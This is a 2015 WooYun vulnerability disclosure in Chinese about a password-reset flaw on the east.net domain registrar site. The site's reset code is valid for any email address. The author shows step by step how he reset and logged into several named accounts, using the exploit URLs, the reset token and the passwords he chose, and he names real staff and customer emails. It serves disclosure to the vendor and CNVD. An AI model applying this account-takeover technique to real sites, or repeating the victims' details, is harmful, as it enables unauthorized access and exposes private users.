当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0127387

漏洞标题:东方网景域名站重大漏洞导致随意重置他人账号密码(通杀所有企业,工作人员密码,附经典案例)

相关厂商:cncert国家互联网应急中心

漏洞作者: 0x 80

提交时间:2015-07-19 22:28

修复时间:2015-09-07 05:30

公开时间:2015-09-07 05:30

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-19: 细节已通知厂商并且等待厂商处理中
2015-07-24: 厂商已经确认,细节仅向厂商公开
2015-08-03: 细节向核心白帽子及相关领域专家公开
2015-08-13: 细节向普通白帽子公开
2015-08-23: 细节向实习白帽子公开
2015-09-07: 细节向公众公开

简要描述:

东方网景域名站重大漏洞导致随意重置他人账号密码(通杀所有企业,工作人员密码,附经典案例)
理论上,只要我知道他的邮箱,他的密码任意被我改掉
附几个经典案例给大家
包括东方网景的工作人员额

详细说明:

inurl:www.east.net/user/showUserSuccess
这个案例我会说清楚的
一步一步来
通过这个,打开
http://www.east.net/user/showUserSuccess?email=caiym@tsinghua.org.cn
获取到第1个邮箱

34.png


这里我用BURP抓包,修改成我的激活邮件,失败了

13.png


这个网站的原理,我分析过,如果修改这里邮箱
那么,如果你的邮箱没在网络上注册,那么他会提示1个不存在该邮箱
后来我自己就注册了一个
同样发包,还是没有发到我的邮箱去
我们思路是,自己注册1个邮箱
这个地址是个关键
http://www.east.net/user/showUserSuccess?email=caiym@tsinghua.org.cn
如当前=caiym@tsinghua.org.cn 我们要改为他的密码
我们先给自己发重置密码
搭配我们自己的邮箱
http://www.east.net/user/showUserSuccess?email=466196038@qq.com
接着发送

21.png


这里重发1次就可以了
接着,我们在邮箱里找到我们邮箱密码重置CODE

32.png


这时候访问下
http://www.east.net/user/userForgetPassword?code=b0f47076c2df6d4d44296952099ce6ab&email=466196038%40qq.com
我发现1个很大的问题
他的CODE几乎是通用的
也就是说,这个KEY可以任何邮箱通用
比如现在到了重置密码这步了
我们看看

341.png


我们还记得我们要改掉谁的密码把
当然就是他:caiym@tsinghua.org.cn
我们先登录自己账号看看

236.png


由于是刚注册的,所以什么也没有
关键来了,我们要改掉caiym@tsinghua.org.cn的密码,那么就要配合这个通用CODE
组合下
http://www.east.net/user/userForgetPassword?code=b0f47076c2df6d4d44296952099ce6ab&email=caiym@tsinghua.org.cn
这样

126.png


我们就改为7788250cc
试试

238.png


注意
账号:caiym@tsinghua.org.cn
密码:7788250cc
登录看看

216.png


成功了,看看

92.png


35.png


一览无遗。
我们还可以发现一个地方

234.png


上个销售部的,很明显,CODE都是通用的,我们照样可以改掉它的
配合下
http://www.east.net/user/userForgetPassword?code=b0f47076c2df6d4d44296952099ce6ab&email=luguohe@east.net
同样改成7788250cc
登录看看

451.png


沦陷了吧~~

347.png


部门
客服部
销售部
续费部
联系电话
010-62692880-1600
010-62692880-5858
010-62692880-1800
电子邮箱
support@east.net
sales@east.net
xufei@east.net
传真
010-62692880-1105
010-62691675
010-62691003


这里有三个邮箱
先来改客服部的support@east.net
试试
同样改成7788250cc
http://www.east.net/user/userForgetPassword?code=b0f47076c2df6d4d44296952099ce6ab&email=support@east.net

2161.png


328.png


客服部沦陷了。。
==========================================================
再来改1个企业会员的
http://www.east.net/user/showUserSuccess?email=admin@cmmrchina.com
配合下
http://www.east.net/user/userForgetPassword?code=b0f47076c2df6d4d44296952099ce6ab&email=admin@cmmrchina.com
7788250zz改成这个
登录看看

214.png


又沦陷了~~~

漏洞证明:

http://www.east.net/user/userForgetPassword?code=b0f47076c2df6d4d44296952099ce6ab&email=(这里是通杀处,输入邮箱地址即可改掉)

修复方案:

验证过滤

版权声明:转载请注明来源 0x 80@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2015-07-24 05:29

厂商回复:

CNVD确认并复现所述情况,已经由CNVD通过该域名注册服务商公开联系渠道,由其电话和邮件通报处置.

最新状态:

暂无